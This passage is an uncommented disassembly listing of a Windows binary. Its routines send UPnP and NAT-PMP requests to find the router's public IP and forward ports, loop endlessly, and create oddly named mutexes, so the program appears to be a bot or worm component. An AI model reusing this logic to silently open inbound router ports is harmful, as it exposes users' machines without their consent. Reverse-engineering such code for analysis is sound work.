; ---------------------------------------------------------------------------


loc_402C05:				; CODE XREF: sub_402B02+587j
		mov	[ebp+var_1884],	10h
		push	[ebp+var_404]
		push	offset aSendingIupnpDi ; "sending IUPnP	discovery request #%i...\n"...
		call	sub_407320
		pop	ecx
		pop	ecx
		push	offset aMSearchHttp1_1 ; "M-SEARCH * HTTP/1.1\r\nHost: 239.255.255."...
		call	sub_407710
		pop	ecx
		push	10h
		lea	edx, [ebp+var_181C]
		push	edx
		push	0
		push	eax
		push	offset aMSearchHttp1_1 ; "M-SEARCH * HTTP/1.1\r\nHost: 239.255.255."...
		mov	eax, [ebp+var_408]
		push	eax
		call	sub_406DE6
		test	eax, eax
		jge	short loc_402C60
		mov	eax, [ebp+var_408]
		push	eax
		call	sub_406D86
		xor	eax, eax
		jmp	loc_40309D
; ---------------------------------------------------------------------------


loc_402C60:				; CODE XREF: sub_402B02+149j
		push	[ebp+var_404]
		push	offset aSetsockoptIupn ; "setsockopt IUPnP discovery request #%i."...
		call	sub_407320
		pop	ecx
		pop	ecx
		push	4
		lea	eax, [ebp+var_1820]
		push	eax
		push	1006h
		push	0FFFFh
		mov	eax, [ebp+var_408]
		push	eax
		call	sub_406D80
		test	eax, eax
		jge	short loc_402CA8
		mov	eax, [ebp+var_408]
		push	eax
		call	sub_406D86
		xor	eax, eax
		jmp	loc_40309D
; ---------------------------------------------------------------------------


loc_402CA8:				; CODE XREF: sub_402B02+191j
		push	[ebp+var_404]
		push	offset aReceivingIupnp ; "receiving IUPnP discovery request #%i.."...
		call	sub_407320
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_1884]
		push	eax
		lea	eax, [ebp+var_189C]
		push	eax
		push	0
		push	1000h
		lea	eax, [ebp+var_1409]
		push	eax
		mov	eax, [ebp+var_408]
		push	eax
		call	sub_406DEC
		test	eax, eax
		jge	short loc_402D12
		call	sub_406DF2
		cmp	eax, 274Ch
		jnz	short loc_402CFF
		cmp	[ebp+var_404], 3
		jnz	loc_40307C


loc_402CFF:				; CODE XREF: sub_402B02+1EEj
		mov	eax, [ebp+var_408]
		push	eax
		call	sub_406D86
		xor	eax, eax
		jmp	loc_40309D
; ---------------------------------------------------------------------------


loc_402D12:				; CODE XREF: sub_402B02+1E2j
		mov	eax, [ebp+var_1884]
		mov	[ebp+eax+var_1409], 0
		push	[ebp+var_404]
		push	offset aIupnpDiscovery ; "IUPnP	discovery request #%i -- checking"...
		call	sub_407320
		pop	ecx
		pop	ecx
		push	offset aSchemasUpnpOrg ; "schemas-upnp-org:service:WANIPConnectio"...
		lea	eax, [ebp+var_1409]
		push	eax
		call	sub_402511
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_402D60
		push	[ebp+var_404]
		push	offset aIupnpDiscove_0 ; "IUPnP	discovery request #%i: bad (0)..."...
		call	sub_407320
		pop	ecx
		pop	ecx
		jmp	loc_40307C
; ---------------------------------------------------------------------------


loc_402D60:				; CODE XREF: sub_402B02+245j
		push	offset aLocation ; "location"
		lea	eax, [ebp+var_1409]
		push	eax
		call	sub_402511
		pop	ecx
		pop	ecx
		mov	ebx, eax
		test	ebx, ebx
		jnz	short loc_402D91
		push	[ebp+var_404]
		push	offset aIupnpDiscove_1 ; "IUPnP	discovery request #%i: bad (1)..."...
		call	sub_407320
		pop	ecx
		pop	ecx
		jmp	loc_40307C
; ---------------------------------------------------------------------------


loc_402D90:				; CODE XREF: sub_402B02+297j
		inc	ebx


loc_402D91:				; CODE XREF: sub_402B02+275j
		mov	al, [ebx]
		test	al, al
		jz	short loc_402D9B
		cmp	al, 3Ah
		jnz	short loc_402D90


loc_402D9B:				; CODE XREF: sub_402B02+293j
		cmp	byte ptr [ebx],	0
		jz	short loc_402DA4
		inc	ebx
		jmp	short loc_402DA4
; ---------------------------------------------------------------------------


loc_402DA3:				; CODE XREF: sub_402B02+2AAj
		inc	ebx


loc_402DA4:				; CODE XREF: sub_402B02+29Cj
					; sub_402B02+29Fj
		mov	al, [ebx]
		test	al, al
		jz	short loc_402DAE
		cmp	al, 20h
		jz	short loc_402DA3


loc_402DAE:				; CODE XREF: sub_402B02+2A6j
		lea	eax, [ebp+var_1809]
		mov	[ebp+var_1834],	eax
		jmp	short loc_402DCD
; ---------------------------------------------------------------------------


loc_402DBC:				; CODE XREF: sub_402B02+2D3j
		mov	edx, [ebp+var_1834]
		mov	al, [ebx]
		mov	[edx], al
		inc	[ebp+var_1834]
		inc	ebx


loc_402DCD:				; CODE XREF: sub_402B02+2B8j
		mov	al, [ebx]
		test	al, al
		jz	short loc_402DD7
		cmp	al, 20h
		jg	short loc_402DBC


loc_402DD7:				; CODE XREF: sub_402B02+2CFj
		mov	edx, [ebp+var_1834]
		mov	byte ptr [edx],	0
		lea	eax, [ebp+var_1809]
		push	eax
		call	sub_407710
		pop	ecx
		test	eax, eax
		jnz	short loc_402E08
		push	[ebp+var_404]
		push	offset aIupnpDiscove_2 ; "IUPnP	discovery request #%i: bad (2)..."...
		call	sub_407320
		pop	ecx
		pop	ecx
		jmp	loc_40307C
; ---------------------------------------------------------------------------


loc_402E08:				; CODE XREF: sub_402B02+2EDj
		mov	[ebp+var_183E],	0
		lea	eax, [ebp+var_1809]
		push	eax
		push	offset aLocationS ; "location: <%s>\n"
		call	sub_407320
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_183E]
		push	eax
		lea	eax, [ebp+var_187E]
		push	eax
		lea	eax, [ebp+var_1809]
		push	eax
		call	sub_4025A9
		add	esp, 0Ch
		mov	[ebp+var_183C],	eax
		test	eax, eax
		jnz	short loc_402E62
		push	[ebp+var_404]
		push	offset aIupnpDiscove_3 ; "IUPnP	discovery request #%i: bad (3)..."...
		call	sub_407320
		pop	ecx
		pop	ecx
		jmp	loc_40307C
; ---------------------------------------------------------------------------


loc_402E62:				; CODE XREF: sub_402B02+347j
		push	offset aUrnSchemasUpnp ; "urn:schemas-upnp-org:service:WANIPConne"...
		push	[ebp+var_183C]
		call	sub_402511
		pop	ecx
		pop	ecx
		mov	[ebp+var_188C],	eax
		test	eax, eax
		jnz	short loc_402E8F
		push	[ebp+var_183C]
		call	sub_401076
		pop	ecx
		jmp	loc_40307C
; ---------------------------------------------------------------------------


loc_402E8F:				; CODE XREF: sub_402B02+37Aj
		mov	eax, [ebp+var_183C]
		mov	[ebp+var_1830],	eax


loc_402E9B:				; CODE XREF: sub_402B02+3CBj
		push	offset aService_0 ; "<service>"
		push	[ebp+var_1830]
		call	sub_402511
		pop	ecx
		pop	ecx
		mov	[ebp+var_18A0],	eax
		test	eax, eax
		jz	short loc_402EBF
		cmp	eax, [ebp+var_1830]
		jbe	short loc_402EC1


loc_402EBF:				; CODE XREF: sub_402B02+3B3j
		jmp	short loc_402ECF
; ---------------------------------------------------------------------------


loc_402EC1:				; CODE XREF: sub_402B02+3BBj
		mov	eax, [ebp+var_18A0]
		mov	[ebp+var_1830],	eax
		jmp	short loc_402E9B
; ---------------------------------------------------------------------------


loc_402ECF:				; CODE XREF: sub_402B02:loc_402EBFj
		push	offset aService	; "</service>"
		push	[ebp+var_1830]
		call	sub_402511
		pop	ecx
		pop	ecx
		mov	[ebp+var_1888],	eax
		test	eax, eax
		jnz	short loc_402EFC
		push	[ebp+var_183C]
		call	sub_401076
		pop	ecx
		jmp	loc_40307C
; ---------------------------------------------------------------------------


loc_402EFC:				; CODE XREF: sub_402B02+3E7j
		push	offset aControlurl ; "<controlURL>"
		push	[ebp+var_1830]
		call	sub_402511
		pop	ecx
		pop	ecx
		mov	esi, eax
		test	esi, esi
		jz	short loc_402F1C
		cmp	esi, [ebp+var_1888]
		jb	short loc_402F2D


loc_402F1C:				; CODE XREF: sub_402B02+410j
		push	[ebp+var_183C]
		call	sub_401076
		pop	ecx
		jmp	loc_40307C
; ---------------------------------------------------------------------------


loc_402F2D:				; CODE XREF: sub_402B02+418j
		push	400h
		push	0
		lea	eax, [ebp+var_400]
		push	eax
		call	sub_407690
		add	esp, 0Ch
		jmp	short loc_402F46
; ---------------------------------------------------------------------------


loc_402F45:				; CODE XREF: sub_402B02+44Cj
		inc	esi


loc_402F46:				; CODE XREF: sub_402B02+441j
		mov	al, [esi]
		test	al, al
		jz	short loc_402F50
		cmp	al, 3Eh
		jnz	short loc_402F45


loc_402F50:				; CODE XREF: sub_402B02+448j
		cmp	byte ptr [esi],	0
		jz	short loc_402F56
		inc	esi


loc_402F56:				; CODE XREF: sub_402B02+451j
		cmp	byte ptr [esi],	0
		jnz	short loc_402F6C
		push	[ebp+var_183C]
		call	sub_401076
		pop	ecx
		jmp	loc_40307C
; ---------------------------------------------------------------------------


loc_402F6C:				; CODE XREF: sub_402B02+457j
		and	[ebp+var_1838],	0
		jmp	short loc_402F8B
; ---------------------------------------------------------------------------


loc_402F75:				; CODE XREF: sub_402B02+491j
		mov	eax, [ebp+var_1838]
		mov	dl, [esi]
		mov	[ebp+eax+var_400], dl
		inc	[ebp+var_1838]
		inc	esi


loc_402F8B:				; CODE XREF: sub_402B02+471j
		mov	al, [esi]
		test	al, al
		jz	short loc_402F95
		cmp	al, 3Ch
		jnz	short loc_402F75


loc_402F95:				; CODE XREF: sub_402B02+48Dj
		mov	eax, [ebp+var_1838]
		mov	[ebp+eax+var_400], 0
		push	offset aHttp	; "http://"
		lea	eax, [ebp+var_400]
		push	eax
		call	sub_402511
		pop	ecx
		pop	ecx
		mov	edi, eax
		test	edi, edi
		jnz	short loc_402FC5
		lea	edi, [ebp+var_400]
		jmp	short loc_402FF5
; ---------------------------------------------------------------------------


loc_402FC4:				; CODE XREF: sub_402B02+4CBj
		inc	edi


loc_402FC5:				; CODE XREF: sub_402B02+4B8j
		mov	al, [edi]
		test	al, al
		jz	short loc_402FCF
		cmp	al, 3Ah
		jnz	short loc_402FC4


loc_402FCF:				; CODE XREF: sub_402B02+4C7j
		cmp	byte ptr [edi],	0
		jz	short loc_402FD8
		inc	edi
		jmp	short loc_402FD8
; ---------------------------------------------------------------------------


loc_402FD7:				; CODE XREF: sub_402B02+4DEj
		inc	edi


loc_402FD8:				; CODE XREF: sub_402B02+4D0j
					; sub_402B02+4D3j
		mov	al, [edi]
		test	al, al
		jz	short loc_402FE2
		cmp	al, 2Fh
		jz	short loc_402FD7


loc_402FE2:				; CODE XREF: sub_402B02+4DAj
		cmp	byte ptr [edi],	0
		jz	short loc_402FEB
		inc	edi
		jmp	short loc_402FEB
; ---------------------------------------------------------------------------


loc_402FEA:				; CODE XREF: sub_402B02+4F1j
		inc	edi


loc_402FEB:				; CODE XREF: sub_402B02+4E3j
					; sub_402B02+4E6j
		mov	al, [edi]
		test	al, al
		jz	short loc_402FF5
		cmp	al, 2Fh
		jnz	short loc_402FEA


loc_402FF5:				; CODE XREF: sub_402B02+4C0j
					; sub_402B02+4EDj
		movzx	eax, [ebp+arg_4]
		push	eax
		movzx	eax, [ebp+arg_0]
		push	eax
		push	edi
		movzx	eax, [ebp+var_183E]
		push	eax
		lea	eax, [ebp+var_187E]
		push	eax
		push	0
		call	sub_402896
		add	esp, 18h
		test	eax, eax
		jnz	short loc_403059
		movzx	eax, [ebp+arg_4]
		push	eax
		movzx	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_400]
		push	eax
		movzx	eax, [ebp+var_183E]
		push	eax
		lea	eax, [ebp+var_187E]
		push	eax
		push	1
		call	sub_402896
		add	esp, 18h
		test	eax, eax
		jnz	short loc_403059
		push	[ebp+var_183C]
		call	sub_401076
		pop	ecx
		jmp	short loc_40307C
; ---------------------------------------------------------------------------


loc_403059:				; CODE XREF: sub_402B02+519j
					; sub_402B02+547j
		push	[ebp+var_404]
		push	offset aIupnpDiscove_4 ; "IUPnP	discovery request #%i: ok.\n"
		call	sub_407320
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_408]
		push	eax
		call	sub_406D86
		xor	eax, eax
		inc	eax
		jmp	short loc_40309D
; ---------------------------------------------------------------------------


loc_40307C:				; CODE XREF: sub_402B02+1F7j
					; sub_402B02+259j ...
		inc	[ebp+var_404]


loc_403082:				; CODE XREF: sub_402B02+EDj
					; sub_402B02+FEj
		cmp	[ebp+var_404], 3
		jl	loc_402C05
		mov	eax, [ebp+var_408]
		push	eax
		call	sub_406D86
		xor	eax, eax


loc_40309D:				; CODE XREF: sub_402B02+159j
					; sub_402B02+1A1j ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_402B02	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4030A4	proc near		; CODE XREF: sub_403113+16p

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		and	[ebp+var_4], 0
		xor	esi, esi
		push	3Ch
		call	sub_401048
		pop	ecx
		mov	ebx, eax
		test	eax, eax
		jz	short loc_40310D
		push	0
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		call	sub_406DF8
		cmp	eax, 7Ah
		jnz	short loc_4030E8
		push	ebx
		call	sub_401076
		pop	ecx
		mov	eax, [ebp+var_4]
		push	eax
		call	sub_401048
		pop	ecx
		mov	ebx, eax
		test	eax, eax
		jz	short loc_40310D


loc_4030E8:				; CODE XREF: sub_4030A4+2Bj
		push	0
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		call	sub_406DF8
		test	eax, eax
		jnz	short loc_403104
		mov	eax, [ebx]
		mov	[ebp+var_8], eax
		test	eax, eax
		jz	short loc_403104
		mov	esi, [ebx+10h]


loc_403104:				; CODE XREF: sub_4030A4+52j
					; sub_4030A4+5Bj
		push	ebx
		call	sub_401076
		pop	ecx
		mov	eax, esi


loc_40310D:				; CODE XREF: sub_4030A4+1Aj
					; sub_4030A4+42j
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4030A4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403113	proc near		; CODE XREF: sub_40356A+17p
					; sub_404967+15Ep

var_C0		= dword	ptr -0C0h
var_BC		= byte ptr -0BCh
var_B8		= dword	ptr -0B8h
var_AC		= word ptr -0ACh
var_AA		= word ptr -0AAh
var_A8		= dword	ptr -0A8h
var_9C		= dword	ptr -9Ch
var_98		= dword	ptr -98h
var_94		= word ptr -94h
var_92		= word ptr -92h
var_90		= dword	ptr -90h
var_84		= dword	ptr -84h
var_80		= byte ptr -80h
var_7F		= byte ptr -7Fh
var_78		= byte ptr -78h

		push	ebp
		mov	ebp, esp
		sub	esp, 0C0h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_9C], 0FAh
		call	sub_4030A4
		mov	[ebp+var_84], eax
		test	eax, eax
		jz	loc_40331B
		mov	[ebp+var_94], 2
		mov	eax, [ebp+var_84]
		mov	[ebp+var_90], eax
		push	14E7h
		call	sub_406D98
		mov	[ebp+var_92], ax
		mov	eax, [ebp+var_84]
		mov	[ebp+var_98], eax
		push	eax
		call	sub_406DE0
		push	eax
		push	offset aDefaultGateway ; "default gateway: [%s]\n"
		call	sub_407320
		pop	ecx
		pop	ecx
		xor	ebx, ebx
		inc	ebx
		push	11h
		push	2
		push	2
		call	sub_406D7A
		mov	esi, eax
		push	10h
		push	0
		lea	eax, [ebp+var_AC]
		push	eax
		call	sub_407690
		add	esp, 0Ch
		mov	[ebp+var_AC], 2
		mov	eax, [ebp+var_84]
		mov	[ebp+var_A8], eax
		push	14E7h
		call	sub_406D98
		mov	[ebp+var_AA], ax
		lea	edi, [ebp+var_AC]
		push	10h
		push	edi
		push	esi
		call	sub_406DA4
		jmp	loc_40330A
; ---------------------------------------------------------------------------


loc_4031DE:				; CODE XREF: sub_403113+1FAj
		mov	[ebp+var_C0], 10h
		push	ebx
		push	offset aSendingNatPmpR ; "sending NAT-PMP request #%i...\n"
		call	sub_407320
		pop	ecx
		pop	ecx
		mov	[ebp+var_80], 0
		mov	[ebp+var_7F], 0
		push	10h
		lea	eax, [ebp+var_94]
		push	eax
		push	0
		push	2
		lea	eax, [ebp+var_80]
		push	eax
		push	esi
		call	sub_406DE6
		test	eax, eax
		jge	short loc_403225
		push	esi
		call	sub_406D86
		xor	eax, eax
		jmp	loc_40331B
; ---------------------------------------------------------------------------


loc_403225:				; CODE XREF: sub_403113+103j
		push	ebx
		push	offset aSetsockoptNatP ; "setsockopt NAT-PMP request #%i...\n"
		call	sub_407320
		pop	ecx
		pop	ecx
		push	4
		lea	eax, [ebp+var_9C]
		push	eax
		push	1006h
		push	0FFFFh
		push	esi
		call	sub_406D80
		test	eax, eax
		jge	short loc_40325C
		push	esi
		call	sub_406D86
		xor	eax, eax
		jmp	loc_40331B
; ---------------------------------------------------------------------------


loc_40325C:				; CODE XREF: sub_403113+13Aj
		push	ebx
		push	offset aReceivingNatPm ; "receiving NAT-PMP request #%i...\n"
		call	sub_407320
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_C0]
		push	eax
		lea	eax, [ebp+var_BC]
		push	eax
		push	0
		push	0Ch
		lea	eax, [ebp+var_80]
		push	eax
		push	esi
		call	sub_406DEC
		test	eax, eax
		jge	short loc_4032A4
		call	sub_406DF2
		cmp	eax, 274Ch
		jnz	short loc_40329A
		cmp	ebx, 9
		jnz	short loc_403303


loc_40329A:				; CODE XREF: sub_403113+180j
		push	esi
		call	sub_406D86
		xor	eax, eax
		jmp	short loc_40331B
; ---------------------------------------------------------------------------


loc_4032A4:				; CODE XREF: sub_403113+174j
		push	ebx
		push	offset aNatPmpRequestI ; "NAT-PMP request #%i -	ok\n"
		call	sub_407320
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_90]
		cmp	[ebp+var_B8], eax
		jnz	short loc_403303
		push	4
		lea	eax, [ebp+var_78]
		push	eax
		lea	eax, [ebp+var_84]
		push	eax
		call	sub_4076F0
		add	esp, 0Ch
		mov	eax, [ebp+var_84]
		mov	[ebp+var_98], eax
		push	eax
		call	sub_406DE0
		push	eax
		push	ebx
		push	offset aNatPmpReques_0 ; "NAT-PMP request #%i -	public IP: [%s]\n"
		call	sub_407320
		add	esp, 0Ch
		push	esi
		call	sub_406D86
		mov	eax, [ebp+var_84]
		jmp	short loc_40331B
; ---------------------------------------------------------------------------


loc_403303:				; CODE XREF: sub_403113+185j
					; sub_403113+1AAj
		inc	ebx
		shl	[ebp+var_9C], 1


loc_40330A:				; CODE XREF: sub_403113+C6j
		cmp	ebx, 0Ah
		jl	loc_4031DE
		push	esi
		call	sub_406D86
		xor	eax, eax


loc_40331B:				; CODE XREF: sub_403113+23j
					; sub_403113+10Dj ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_403113	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403322	proc near		; CODE XREF: sub_40356A+33p
					; sub_404967+179p

var_C0		= dword	ptr -0C0h
var_BC		= byte ptr -0BCh
var_B8		= dword	ptr -0B8h
var_AC		= dword	ptr -0ACh
var_A8		= dword	ptr -0A8h
var_A4		= word ptr -0A4h
var_A2		= word ptr -0A2h
var_A0		= dword	ptr -0A0h
var_94		= dword	ptr -94h
var_90		= word ptr -90h
var_8E		= word ptr -8Eh
var_8C		= dword	ptr -8Ch
var_80		= byte ptr -80h
var_7F		= byte ptr -7Fh
var_7E		= byte ptr -7Eh
var_7D		= byte ptr -7Dh
var_7C		= byte ptr -7Ch
var_7A		= byte ptr -7Ah
var_78		= byte ptr -78h
var_76		= byte ptr -76h
var_75		= byte ptr -75h
arg_0		= dword	ptr  8
arg_4		= word ptr  0Ch
arg_8		= word ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0C0h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_94], 0FAh
		mov	[ebp+var_90], 2
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_8C], eax
		push	14E7h
		call	sub_406D98
		mov	[ebp+var_8E], ax
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_A8], eax
		push	eax
		call	sub_406DE0
		push	eax
		push	offset aRouterIpS ; "router ip:	[%s]\n"
		call	sub_407320
		pop	ecx
		pop	ecx
		xor	esi, esi
		inc	esi
		push	11h
		push	2
		push	2
		call	sub_406D7A
		mov	edi, eax
		push	10h
		push	0
		lea	eax, [ebp+var_A4]
		push	eax
		call	sub_407690
		add	esp, 0Ch
		mov	[ebp+var_A4], 2
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_A0], eax
		push	14E7h
		call	sub_406D98
		mov	[ebp+var_A2], ax
		lea	eax, [ebp+var_A4]
		mov	[ebp+var_AC], eax
		push	10h
		push	[ebp+var_AC]
		push	edi
		call	sub_406DA4
		jmp	loc_403552
; ---------------------------------------------------------------------------


loc_4033DC:				; CODE XREF: sub_403322+233j
		mov	[ebp+var_C0], 10h
		push	esi
		push	offset aSendingNatPmpF ; "sending NAT-PMP fwd request #%i...\n"
		call	sub_407320
		pop	ecx
		pop	ecx
		mov	[ebp+var_80], 0
		mov	[ebp+var_7F], 2
		mov	[ebp+var_7E], 0
		mov	[ebp+var_7D], 0
		lea	ebx, [ebp+var_7C]
		movzx	eax, [ebp+arg_4]
		push	eax
		call	sub_406D98
		mov	[ebx], ax
		lea	ebx, [ebp+var_7A]
		movzx	eax, [ebp+arg_8]
		push	eax
		call	sub_406D98
		mov	[ebx], ax
		lea	ebx, [ebp+var_78]
		mov	word ptr [ebx],	0E10h
		mov	[ebp+var_76], 0
		mov	[ebp+var_75], 0
		push	10h
		lea	eax, [ebp+var_90]
		push	eax
		push	0
		push	0Ch
		lea	eax, [ebp+var_80]
		push	eax
		push	edi
		call	sub_406DE6
		test	eax, eax
		jge	short loc_40345B
		push	edi
		call	sub_406D86
		xor	eax, eax
		jmp	loc_403563
; ---------------------------------------------------------------------------


loc_40345B:				; CODE XREF: sub_403322+12Aj
		push	esi
		push	offset aSetsockoptNa_0 ; "setsockopt NAT-PMP fwd request #%i...\n"
		call	sub_407320
		pop	ecx
		pop	ecx
		push	4
		lea	eax, [ebp+var_94]
		push	eax
		push	1006h
		push	0FFFFh
		push	edi
		call	sub_406D80
		test	eax, eax
		jge	short loc_403492
		push	edi
		call	sub_406D86
		xor	eax, eax
		jmp	loc_403563
; ---------------------------------------------------------------------------


loc_403492:				; CODE XREF: sub_403322+161j
		push	esi
		push	offset aReceivingNat_0 ; "receiving NAT-PMP fwd	request	#%i...\n"
		call	sub_407320
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_C0]
		push	eax
		lea	eax, [ebp+var_BC]
		push	eax
		push	0
		push	10h
		lea	eax, [ebp+var_80]
		push	eax
		push	edi
		call	sub_406DEC
		test	eax, eax
		jge	short loc_4034DD
		call	sub_406DF2
		cmp	eax, 274Ch
		jnz	short loc_4034D0
		cmp	esi, 9
		jnz	short loc_40354B


loc_4034D0:				; CODE XREF: sub_403322+1A7j
		push	edi
		call	sub_406D86
		xor	eax, eax
		jmp	loc_403563
; ---------------------------------------------------------------------------


loc_4034DD:				; CODE XREF: sub_403322+19Bj
		push	esi
		push	offset aNatPmpFwdReque ; "NAT-PMP fwd request #%i - ok\n"
		call	sub_407320
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_8C]
		cmp	[ebp+var_B8], eax
		jnz	short loc_40354B
		cmp	[ebp+var_7F], 82h
		jnz	short loc_40354B
		lea	ebx, [ebp+var_7E]
		cmp	word ptr [ebx],	0
		jnz	short loc_40354B
		lea	ebx, [ebp+var_78]
		movzx	eax, [ebp+arg_4]
		push	eax
		call	sub_406D98
		cmp	[ebx], ax
		jnz	short loc_40354B
		lea	ebx, [ebp+var_76]
		movzx	eax, word ptr [ebx]
		push	eax
		call	sub_406DB6
		movzx	eax, ax
		push	eax
		push	esi
		push	offset aNatPmpReques_1 ; "NAT-PMP request #%i -	port: [%i]\n"
		call	sub_407320
		add	esp, 0Ch
		push	edi
		call	sub_406D86
		movzx	eax, word ptr [ebx]
		push	eax
		call	sub_406D98
		movzx	eax, ax
		jmp	short loc_403563
; ---------------------------------------------------------------------------


loc_40354B:				; CODE XREF: sub_403322+1ACj
					; sub_403322+1D4j ...
		inc	esi
		shl	[ebp+var_94], 1


loc_403552:				; CODE XREF: sub_403322+B5j
		cmp	esi, 0Ah
		jl	loc_4033DC
		push	edi
		call	sub_406D86
		xor	eax, eax


loc_403563:				; CODE XREF: sub_403322+134j
					; sub_403322+16Bj ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_403322	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40356A	proc near		; DATA XREF: sub_406736+3Fo
					; DMN1:00448A96o
		push	ebx
		push	esi
		push	edi


loc_40356D:				; CODE XREF: sub_40356A:loc_4035FBj
		xor	ebx, ebx
		inc	ebx


loc_403570:				; CODE XREF: sub_40356A+15j
		push	0EA60h
		call	dword_411D00
		inc	ebx
		cmp	ebx, 3Fh
		jl	short loc_403570
		call	sub_403113
		mov	edi, eax
		mov	eax, dword_411010
		mov	si, ax
		movzx	eax, si
		push	eax
		movzx	eax, word ptr dword_41100C
		push	eax
		push	edi
		call	sub_403322
		add	esp, 0Ch
		mov	si, ax
		test	si, si
		jz	short loc_4035CD
		movzx	eax, si
		cmp	eax, dword_411010
		jz	short loc_4035CD
		movzx	eax, si
		mov	dword_411010, eax
		push	1
		push	offset dword_411024
		call	dword_411D04


loc_4035CD:				; CODE XREF: sub_40356A+41j
					; sub_40356A+4Cj
		movzx	eax, word ptr dword_41100C
		push	eax
		push	eax
		call	sub_402B02
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_4035FB
		mov	eax, dword_41100C
		cmp	dword_411010, eax
		jz	short loc_4035FB
		push	1
		push	offset dword_411024
		call	dword_411D04


loc_4035FB:				; CODE XREF: sub_40356A+75j
					; sub_40356A+82j
		jmp	loc_40356D
sub_40356A	endp

; ---------------------------------------------------------------------------
		pop	edi
		pop	esi
		pop	ebx
		retn

; =============== S U B	R O U T	I N E =======================================



sub_403604	proc near		; CODE XREF: sub_4067B0+77p
		push	ebx
		cmp	dword_411018, 0
		jz	short loc_403612
		xor	eax, eax
		jmp	short loc_403656
; ---------------------------------------------------------------------------


loc_403612:				; CODE XREF: sub_403604+8j
		xor	ebx, ebx
		push	offset a_win32__wnss_s ; "_win32__wnss_sdm__"
		push	0
		push	0
		call	dword_411D08
		mov	dword_411018, eax
		cmp	dword_411018, 0
		jz	short loc_403654
		call	dword_411CE8
		cmp	eax, 0B7h
		jnz	short loc_403654
		xor	ebx, ebx
		inc	ebx
		push	dword_411018
		call	dword_411CF8
		and	dword_411018, 0


loc_403654:				; CODE XREF: sub_403604+2Bj
					; sub_403604+38j
		mov	eax, ebx


loc_403656:				; CODE XREF: sub_403604+Cj
		pop	ebx
		retn
sub_403604	endp


; =============== S U B	R O U T	I N E =======================================



sub_403658	proc near		; CODE XREF: sub_403FEAp
					; sub_40400E+81p ...
		push	ebx
		push	esi
		xor	esi, esi
		push	offset a_win32__wnss_s ; "_win32__wnss_sdm__"
		push	0
		push	100000h
		call	dword_411D0C
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_403680
		xor	esi, esi
		inc	esi
		push	ebx
		call	dword_411CF8
		xor	ebx, ebx


loc_403680:				; CODE XREF: sub_403658+1Aj
		mov	eax, esi
		pop	esi
		pop	ebx
		retn
sub_403658	endp


; =============== S U B	R O U T	I N E =======================================



sub_403685	proc near		; CODE XREF: sub_4067B0+C5p
		cmp	dword_411018, 0
		jz	short locret_4036A1
		push	dword_411018
		call	dword_411CF8
		and	dword_411018, 0

locret_4036A1:				; CODE XREF: sub_403685+7j
		retn
sub_403685	endp

; ---------------------------------------------------------------------------
		push	ebx
		cmp	dword_41101C, 0
		jz	short loc_4036B0
		xor	eax, eax
		jmp	short loc_4036F4
; ---------------------------------------------------------------------------


loc_4036B0:				; CODE XREF: DMN0:004036AAj
		xor	ebx, ebx
		push	offset a_win32__wnss_0 ; "_win32__wnss_sm__"
		push	0
		push	0
		call	dword_411D08
		mov	dword_41101C, eax
		cmp	dword_41101C, 0
		jz	short loc_4036F2
		call	dword_411CE8
		cmp	eax, 0B7h
		jnz	short loc_4036F2
		xor	ebx, ebx
		inc	ebx
		push	dword_41101C
		call	dword_411CF8
		and	dword_41101C, 0


loc_4036F2:				; CODE XREF: DMN0:004036CDj
					; DMN0:004036DAj
		mov	eax, ebx


loc_4036F4:				; CODE XREF: DMN0:004036AEj
		pop	ebx
		retn

; =============== S U B	R O U T	I N E =======================================



sub_4036F6	proc near		; CODE XREF: sub_406544+9p
					; sub_406544:loc_4066D7p
		push	ebx
		push	esi
		xor	esi, esi
		push	offset a_win32__wnss_0 ; "_win32__wnss_sm__"
		push	0
		push	100000h
		call	dword_411D0C
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_40371E
		xor	esi, esi
		inc	esi
		push	ebx
		call	dword_411CF8
		xor	ebx, ebx


loc_40371E:				; CODE XREF: sub_4036F6+1Aj
		mov	eax, esi
		pop	esi
		pop	ebx
		retn
sub_4036F6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403723	proc near		; CODE XREF: sub_40399A+16Ep
					; sub_4067B0+FBp ...

var_854		= dword	ptr -854h
var_850		= dword	ptr -850h
var_844		= byte ptr -844h
var_44		= dword	ptr -44h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 854h
		push	ebx
		push	esi
		mov	ebx, [ebp+arg_8]
		mov	esi, [ebp+arg_C]
		test	esi, esi
		jz	short loc_40373B
		and	dword ptr [esi], 0


loc_40373B:				; CODE XREF: sub_403723+13j
		push	44h
